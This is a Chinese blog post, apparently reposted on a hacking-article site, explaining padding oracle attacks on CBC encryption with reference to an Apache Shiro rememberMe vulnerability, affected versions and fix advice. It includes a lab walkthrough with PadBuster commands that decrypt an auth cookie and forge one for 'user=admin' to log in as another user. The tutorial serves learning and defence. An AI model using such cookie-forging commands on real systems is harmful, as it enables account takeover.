记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Padding Oracle Attack填充提示攻击

2020-10-21 16:26


漏洞简介


最近学习了一个shiro的 Critica级漏洞的验证,利用Padding Oracle Vulnerability破解rememberMe Cookie,达到反序列化漏洞的利用,攻击者无需知道rememberMe的加密密钥。

明文分组和填充就是Padding Oracle Attack的根源所在,但是这些需要一个前提,那就是应用程序对异常的处理。当提交的加密后的数据中出现错误的填充信息时,不够安全的应用程序解密时报错,直接抛出“填充错误”异常信息。

Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解。

利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:

1、攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量);

2、攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性。


影响范围


受影响版本

Apache Shiro 1.2.5,1.2.6,1.3.0,1.3.1,1.3.2,1.4.0-RC2,1.4.0,1.4.1

不受影响版本

Apache Shiro-root-1.4.2-release-vote1及以上


漏洞利用


搭建存在漏洞的环境


下载padding_oracle.iso,安装在VM中即可(linux 32),访问地址完成注册:

https://www.hackingarticles.in/hack-padding-oracle-lab/

首先我们注册一个帐号sakura/sakura,并记录auth值。

 


破解auth cookie


利用padbuster进行破解,https://github.com/AonCyberLabs/PadBuster

破解密文:

# ./padBuster.pl http://192.168.1.188/index.php 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+

伪造密文,登录其它账号:

# ./padBuster.pl http://192.168.1.188/index.php 71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ 8 --cookie auth=71lYZdByH4QNKf+ZfBkGVIbXbejXLFE+ -plaintext user=admin

在浏览器中F12直接替换auth值就可以直接登录其他用户。


修复建议


1、开发人员可自定义加密逻辑,避免使用CBC密码块链接模式,以下CipherSuite易受到Padding Oracle攻击,请开发人员避免使用。(SHIRO官方即将发布的1.4.2版本,将加密模式替换为GCM)

2、若没有使用RememberMe的业务需求,可在前端页面注释掉相关代码,并将配置文件中的相关配置去掉。Shiro默认未配置RememberMe。

 

参考文章:https://wenku.baidu.com/view/6dd0cacdda38376baf1faeb4.html#



知识来源: https://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247496797&idx=1&sn=147810b5819a18db9cb833e105fd3f8e

阅读:178039 | 评论:0 | 标签:攻击

想收藏或者和大家分享这篇好文章→复制链接地址

“Padding Oracle Attack填充提示攻击”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁